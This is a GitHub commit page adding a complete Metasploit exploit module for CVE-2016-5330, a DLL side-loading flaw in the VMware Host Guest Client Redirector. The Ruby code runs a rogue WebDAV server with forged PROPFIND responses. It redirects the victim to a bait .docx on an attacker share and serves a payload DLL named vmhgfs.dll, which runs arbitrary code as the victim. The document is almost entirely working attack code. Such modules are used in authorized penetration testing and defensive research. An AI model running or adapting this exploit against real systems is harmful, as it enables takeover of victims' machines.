Skip to content

Commit 3d1289d

Browse files
committed
Land rapid7#7185, Add VMware Host Guest Client Redirector DLL Hijack Exploit
2 parents ae59c4a + 51c457d commit 3d1289d

File tree

1 file changed

+346
-0
lines changed

1 file changed

+346
-0
lines changed
Lines changed: 346 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,346 @@
1+
require 'msf/core'
2+
3+
class MetasploitModule < Msf::Exploit::Remote
4+
Rank = NormalRanking
5+
6+
include Msf::Exploit::Remote::HttpServer::HTML
7+
include Msf::Exploit::EXE
8+
9+
def initialize(info = {})
10+
super(update_info(info,
11+
'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',
12+
'Description' => %q{
13+
A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,
14+
a component of VMware Tools. This issue can be exploited by luring a victim into
15+
opening a document from the attacker's share. An attacker can exploit this issue to
16+
execute arbitrary code with the privileges of the target user. This can potentially
17+
result in the attacker taking complete control of the affected system. If the WebDAV
18+
Mini-Redirector is enabled, it is possible to exploit this issue over the internet.
19+
},
20+
'Author' => 'Yorick Koster',
21+
'License' => MSF_LICENSE,
22+
'References' =>
23+
[
24+
['CVE', '2016-5330'],
25+
['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'],
26+
['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'],
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'EXITFUNC' => 'thread'
31+
},
32+
'Payload' => { 'Space' => 2048, },
33+
'Platform' => 'win',
34+
'Targets' =>
35+
[
36+
[ 'Windows x64', {'Arch' => ARCH_X86_64,} ],
37+
[ 'Windows x86', {'Arch' => ARCH_X86,} ]
38+
],
39+
'Privileged' => false,
40+
'DisclosureDate' => 'Aug 5 2016',
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
46+
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
47+
OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]),
48+
OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])
49+
], self.class)
50+
51+
# no SSL
52+
deregister_options('SSL', 'SSLVersion', 'SSLCert')
53+
end
54+
55+
56+
def on_request_uri(cli, request)
57+
case request.method
58+
when 'OPTIONS'
59+
process_options(cli, request)
60+
when 'PROPFIND'
61+
process_propfind(cli, request)
62+
when 'GET'
63+
process_get(cli, request)
64+
else
65+
print_status("#{request.method} => 404 (#{request.uri})")
66+
resp = create_response(404, "Not Found")
67+
resp.body = ""
68+
resp['Content-Type'] = 'text/html'
69+
cli.send_response(resp)
70+
end
71+
end
72+
73+
74+
def process_get(cli, request)
75+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
76+
webdav = "\\\\#{myhost}\\"
77+
78+
if (request.uri =~ /vmhgfs\.dll$/i)
79+
print_status("GET => DLL Payload (#{request.uri})")
80+
return if ((p = regenerate_payload(cli)) == nil)
81+
data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })
82+
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
83+
return
84+
end
85+
86+
if (request.uri =~ /\.docx$/i)
87+
print_status("GET => DOCX (#{request.uri})")
88+
send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })
89+
return
90+
end
91+
92+
if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
93+
print_status("GET => REDIRECT (#{request.uri})")
94+
resp = create_response(200, "OK")
95+
resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|
96+
resp['Content-Type'] = 'text/html'
97+
cli.send_response(resp)
98+
return
99+
end
100+
101+
print_status("GET => 404 (#{request.uri})")
102+
resp = create_response(404, "Not Found")
103+
resp.body = ""
104+
cli.send_response(resp)
105+
end
106+
107+
#
108+
# OPTIONS requests sent by the WebDav Mini-Redirector
109+
#
110+
def process_options(cli, request)
111+
print_status("OPTIONS #{request.uri}")
112+
headers = {
113+
'MS-Author-Via' => 'DAV',
114+
'DASL' => '<DAV:sql>',
115+
'DAV' => '1, 2',
116+
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
117+
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
118+
'Cache-Control' => 'private'
119+
}
120+
resp = create_response(207, "Multi-Status")
121+
headers.each_pair {|k,v| resp[k] = v }
122+
resp.body = ""
123+
resp['Content-Type'] = 'text/xml'
124+
cli.send_response(resp)
125+
end
126+
127+
#
128+
# PROPFIND requests sent by the WebDav Mini-Redirector
129+
#
130+
def process_propfind(cli, request)
131+
path = request.uri
132+
print_status("PROPFIND #{path}")
133+
body = ''
134+
135+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
136+
my_uri = "http://#{my_host}/"
137+
138+
if path !~ /\/$/
139+
140+
if blacklisted_path?(path)
141+
print_status "PROPFIND => 404 (#{path})"
142+
resp = create_response(404, "Not Found")
143+
resp.body = ""
144+
cli.send_response(resp)
145+
return
146+
end
147+
148+
if path.index(".")
149+
print_status "PROPFIND => 207 File (#{path})"
150+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
151+
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
152+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
153+
<D:href>#{path}</D:href>
154+
<D:propstat>
155+
<D:prop>
156+
<lp1:resourcetype/>
157+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
158+
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
159+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
160+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
161+
<lp2:executable>T</lp2:executable>
162+
<D:supportedlock>
163+
<D:lockentry>
164+
<D:lockscope><D:exclusive/></D:lockscope>
165+
<D:locktype><D:write/></D:locktype>
166+
</D:lockentry>
167+
<D:lockentry>
168+
<D:lockscope><D:shared/></D:lockscope>
169+
<D:locktype><D:write/></D:locktype>
170+
</D:lockentry>
171+
</D:supportedlock>
172+
<D:lockdiscovery/>
173+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
174+
</D:prop>
175+
<D:status>HTTP/1.1 200 OK</D:status>
176+
</D:propstat>
177+
</D:response>
178+
</D:multistatus>
179+
|
180+
# send the response
181+
resp = create_response(207, "Multi-Status")
182+
resp.body = body
183+
resp['Content-Type'] = 'text/xml; charset="utf8"'
184+
cli.send_response(resp)
185+
return
186+
else
187+
print_status "PROPFIND => 301 (#{path})"
188+
resp = create_response(301, "Moved")
189+
resp["Location"] = path + "/"
190+
resp['Content-Type'] = 'text/html'
191+
cli.send_response(resp)
192+
return
193+
end
194+
end
195+
196+
print_status "PROPFIND => 207 Directory (#{path})"
197+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
198+
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
199+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
200+
<D:href>#{path}</D:href>
201+
<D:propstat>
202+
<D:prop>
203+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
204+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
205+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
206+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
207+
<D:supportedlock>
208+
<D:lockentry>
209+
<D:lockscope><D:exclusive/></D:lockscope>
210+
<D:locktype><D:write/></D:locktype>
211+
</D:lockentry>
212+
<D:lockentry>
213+
<D:lockscope><D:shared/></D:lockscope>
214+
<D:locktype><D:write/></D:locktype>
215+
</D:lockentry>
216+
</D:supportedlock>
217+
<D:lockdiscovery/>
218+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
219+
</D:prop>
220+
<D:status>HTTP/1.1 200 OK</D:status>
221+
</D:propstat>
222+
</D:response>
223+
|
224+
225+
if request["Depth"].to_i > 0
226+
trail = path.split("/")
227+
trail.shift
228+
case trail.length
229+
when 0
230+
body << generate_shares(path)
231+
when 1
232+
body << generate_files(path)
233+
end
234+
else
235+
print_status "PROPFIND => 207 Top-Level Directory"
236+
end
237+
238+
body << "</D:multistatus>"
239+
240+
body.gsub!(/\t/, '')
241+
242+
# send the response
243+
resp = create_response(207, "Multi-Status")
244+
resp.body = body
245+
resp['Content-Type'] = 'text/xml; charset="utf8"'
246+
cli.send_response(resp)
247+
end
248+
249+
def generate_shares(path)
250+
share_name = datastore['SHARENAME']
251+
%Q|
252+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
253+
<D:href>#{path}#{share_name}/</D:href>
254+
<D:propstat>
255+
<D:prop>
256+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
257+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
258+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
259+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
260+
<D:supportedlock>
261+
<D:lockentry>
262+
<D:lockscope><D:exclusive/></D:lockscope>
263+
<D:locktype><D:write/></D:locktype>
264+
</D:lockentry>
265+
<D:lockentry>
266+
<D:lockscope><D:shared/></D:lockscope>
267+
<D:locktype><D:write/></D:locktype>
268+
</D:lockentry>
269+
</D:supportedlock>
270+
<D:lockdiscovery/>
271+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
272+
</D:prop>
273+
<D:status>HTTP/1.1 200 OK</D:status>
274+
</D:propstat>
275+
</D:response>
276+
|
277+
end
278+
279+
def generate_files(path)
280+
trail = path.split("/")
281+
return "" if trail.length < 2
282+
283+
%Q|
284+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
285+
<D:href>#{path}#{datastore['BASENAME']}.docx</D:href>
286+
<D:propstat>
287+
<D:prop>
288+
<lp1:resourcetype/>
289+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
290+
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
291+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
292+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
293+
<lp2:executable>T</lp2:executable>
294+
<D:supportedlock>
295+
<D:lockentry>
296+
<D:lockscope><D:exclusive/></D:lockscope>
297+
<D:locktype><D:write/></D:locktype>
298+
</D:lockentry>
299+
<D:lockentry>
300+
<D:lockscope><D:shared/></D:lockscope>
301+
<D:locktype><D:write/></D:locktype>
302+
</D:lockentry>
303+
</D:supportedlock>
304+
<D:lockdiscovery/>
305+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
306+
</D:prop>
307+
<D:status>HTTP/1.1 200 OK</D:status>
308+
</D:propstat>
309+
</D:response>
310+
|
311+
end
312+
313+
def gen_timestamp(ttype=nil)
314+
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
315+
end
316+
317+
def gen_datestamp(ttype=nil)
318+
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
319+
end
320+
321+
# This method rejects requests that are known to break exploitation
322+
def blacklisted_path?(uri)
323+
return true if uri =~ /\.exe/i
324+
return true if uri =~ /\.(config|manifest)/i
325+
return true if uri =~ /desktop\.ini/i
326+
return true if uri =~ /lib.*\.dll/i
327+
return true if uri =~ /\.tmp$/i
328+
return true if uri =~ /(pcap|packet)\.dll/i
329+
false
330+
end
331+
332+
def exploit
333+
334+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
335+
336+
@exploit_unc = "\\\\#{myhost}\\"
337+
338+
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
339+
fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
340+
end
341+
342+
print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")
343+
344+
super
345+
end
346+
end

0 commit comments

Comments
 (0)